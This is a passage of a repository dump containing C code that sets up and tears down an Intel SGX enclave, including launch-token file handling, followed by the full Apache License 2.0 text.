152 | for (idx = 0; idx < ttl; idx++) {
153 | if(ret == sgx_errlist[idx].err) {
154 | if(NULL != sgx_errlist[idx].sug)
155 | printf("Info: %s from %s\n", sgx_errlist[idx].sug, fn);
156 | printf("Error: %s from %s\n", sgx_errlist[idx].msg, fn);
157 | break;
158 | }
159 | }
160 |
161 | if (idx == ttl)
162 | printf("Error: Unexpected error occurred: %d from %s.\n", ret, fn);
163 | }
164 |
165 | /* Initialize the enclave:
166 | * Step 1: try to retrieve the launch token saved by last transaction
167 | * Step 2: call sgx_create_enclave to initialize an enclave instance
168 | * Step 3: save the launch token if it is updated
169 | */
170 | int _initialize_enclave(void)
171 | {
172 | char token_path[MAX_PATH] = {'\0'};
173 | sgx_launch_token_t token = {0};
174 | sgx_status_t ret = SGX_ERROR_UNEXPECTED;
175 | int updated = 0;
176 |
177 | /* Step 1: try to retrieve the launch token saved by last transaction
178 | * * * * if there is no token, then create a new one.
179 | * * * */
180 | /* try to get the token saved in $HOME */
181 | const char *home_dir = getpwuid(getuid())->pw_dir;
182 |
183 | if (home_dir != NULL &&
184 | (strlen(home_dir)+strlen("/")+sizeof(TOKEN_FILENAME)+1) <= MAX_PATH) {
185 | /* compose the token path */
186 | strncpy(token_path, home_dir, strlen(home_dir));
187 | strncat(token_path, "/", strlen("/"));
188 | strncat(token_path, TOKEN_FILENAME, sizeof(TOKEN_FILENAME)+1);
189 | } else {
190 | /* if token path is too long or $HOME is NULL */
191 | strncpy(token_path, TOKEN_FILENAME, sizeof(TOKEN_FILENAME));
192 | }
193 |
194 | FILE *fp = fopen(token_path, "rb");
195 | if (fp == NULL && (fp = fopen(token_path, "wb")) == NULL) {
196 | printf("Warning: Failed to create/open the launch token file \"%s\".\n", token_path);
197 | }
198 | if (fp != NULL) {
199 | /* read the token from saved file */
200 | size_t read_num = fread(token, 1, sizeof(sgx_launch_token_t), fp);
201 | if (read_num != 0 && read_num != sizeof(sgx_launch_token_t)) {
202 | /* if token is invalid, clear the buffer */
203 | memset(&token, 0x0, sizeof(sgx_launch_token_t));
204 | printf("Warning: Invalid launch token read from \"%s\".\n", token_path);
205 | }
206 | }
207 |
208 | /* Step 2: call sgx_create_enclave to initialize an enclave instance */
209 | /* Debug Support: set 2nd parameter to 1 */
210 | ret = sgx_create_enclave(ENCLAVE_FILENAME, SGX_DEBUG_FLAG, &token, &updated, &global_eid, NULL);
211 | if (ret != SGX_SUCCESS) {
212 | print_error_message(ret, __func__);
213 | if (fp != NULL) fclose(fp);
214 | return 0;
215 | }
216 | /* Step 3: save the launch token if it is updated */
217 | if (updated == FALSE || fp == NULL) {
218 | /* if the token is not updated, or file handler is invalid, do not perform saving */
219 | if (fp != NULL) fclose(fp);
220 | return 0;
221 | }
222 |
223 | /* reopen the file with write capablity */
224 | fp = freopen(token_path, "wb", fp);
225 | if (fp == NULL) return 0;
226 | size_t write_num = fwrite(token, 1, sizeof(sgx_launch_token_t), fp);
227 | if (write_num != sizeof(sgx_launch_token_t))
228 | printf("Warning: Failed to save launch token to \"%s\".\n", token_path);
229 | fclose(fp);
230 | return 0;
231 | }
232 |
233 | void initialize_enclave(void) {
234 | if (_initialize_enclave() < 0) {
235 | printf("Enclave initialization error!\n");
236 | exit(-1);
237 | }
238 | }
239 |
240 | void destroy_enclave(void) {
241 | if (global_eid != 0) {
242 | //printf("Destroying enclave %lu!\n", global_eid);
243 | sgx_destroy_enclave(global_eid);
244 | } else {
245 | printf("Cannot destroy a non-initialized enclave!\n");
246 | }
247 | }
248 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------